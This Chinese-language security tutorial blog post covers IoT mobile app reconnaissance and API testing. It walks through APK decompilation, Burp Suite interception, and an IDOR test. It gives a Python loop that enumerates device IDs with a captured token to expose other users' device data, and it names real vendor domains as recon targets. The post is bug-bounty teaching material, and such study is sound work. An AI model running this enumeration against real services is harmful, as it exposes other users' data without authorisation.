[鐵人賽] Day 29：從 IoT App 情報蒐集到 API 攻防實戰 —— 用 Burp Suite 解構智慧應用生態

✍️ 寫在前面
前幾天我們聚焦在台灣 IoT 產業的韌體、雲端與伺服器面
今天的目標是把 Day 28 的廠商情報延伸成行動端維度，
並示範如何用 Burp Suite 攔截 IoT App 流量、抽出 API、製作 PoC 驗證漏洞。

🧭 一、為什麼 IoT App 是紅隊的突破口

IoT 應用雲端化後，每個 App 都會與雲端 API 交換指令，例如：

只要這些 API 驗證不嚴謹、參數沒檢查，
紅隊就能發現漏洞、建立 PoC，進而通報廠商或參加獎金獵人活動。

🏭 二、台灣 IoT App 生態藍名單

👉 這些應用多半與伺服器 API 連線，例如：
https://api.tw-guarder.com, https://cloud.engenius.ai, https://iot.asus.com
這些網域就是紅隊情報蒐集的起點。

🔍 三、情報蒐集重點

1️⃣ APK 反編譯搜尋 API 端點

apktool d app.apk -o output
grep -Ri "http" output > api.txt

2️⃣ 確認通信方式

• RESTful JSON API
• MQTT broker
• WebSocket 指令

3️⃣ 分析認證模式

• 是否使用 JWT、Basic Auth、或自製 Token
• 是否有過期控制與簽章驗證

4️⃣ 比對廠商雲端主機

• 透過 Shodan / Censys 搜索域名或 SSL 憑證
• 找出 API 伺服器使用的雲端供應商（AWS / Azure / 阿里雲）

🧰 四、Burp Suite 實戰：攔截 IoT App API

⚙️ 環境設定

1. 開啟 Burp Proxy → 設定 127.0.0.1:8080
2. 在手機或模擬器設定 Wi-Fi 代理 → 指向你的主機
3. 安裝 Burp CA 憑證（http://burp）
4. 啟動 IoT App，Burp 即可攔截 HTTPS 流量

📡 攔截範例：SmartCam App

登入封包：

POST https://api.smartcam.tw/v1/login
{
  "username": "test@demo.com",
  "password": "123456"
}

回應：

{
  "status": "success",
  "token": "eyJhbGciOiJIUzI1..."
}

之後的 API：

GET https://api.smartcam.tw/v1/device/list
Authorization: Bearer eyJhbGciOiJIUzI1...

Burp Repeater 重新送出並觀察結果，可開始做 API 攻擊測試。

⚔️ 五、PoC 實戰：水平越權 (IDOR) 測試

在 Burp Repeater 中修改請求：

{"device_id": 123}

改成：

{"device_id": 124}

若回傳：

{"device_id":124,"owner":"userB","status":"active"}

🎯 恭喜找到 IDOR 漏洞 —— 伺服器未檢查 device_id 所屬權。

🔥 自動化驗證範例（Python + httpx）

import httpx

API_URL = "https://api.smartcam.tw/v1/device/status"
TOKEN = "eyJhbGciOiJIUzI1..."  # 從 Burp 拿到的 Token
headers = {"Authorization": f"Bearer {TOKEN}"}

for i in range(120, 130):
    r = httpx.post(API_URL, json={"device_id": i}, headers=headers, timeout=5)
    if "owner" in r.text:
        print(f"[+] IDOR detected at device_id={i}")
        print(r.text[:200])

輸出範例：

[+] IDOR detected at device_id=124
{"device_id":124,"owner":"userB","status":"active"}

這樣的結果即可作為通報報告的 PoC 證據。

🧩 六、API 安全測試常見漏洞類型

🧠 七、報告撰寫建議

🤖 八、LLM 輔助自動分析 API

在獎金獵人準備階段，你可以把攔截到的 API 封包丟給 LLM：

請幫我分析以下 API 回應，列出可能的敏感欄位與可疑端點。

或：

根據這些端點，幫我預測潛在越權與明文傳輸風險。

讓模型先幫你篩選高風險端點，再人工驗證，大幅提高效率。

🧩 九、結語：從資訊蒐集到控制權取得

Day 28 我們談的是「不安全部署的伺服器」；
Day 29 我們看到「App 與 API 的攻防連結」。

從情報蒐集 → API 攔截 → PoC 驗證，這條路線正是最有價值的技術鏈。

✅ 今日小結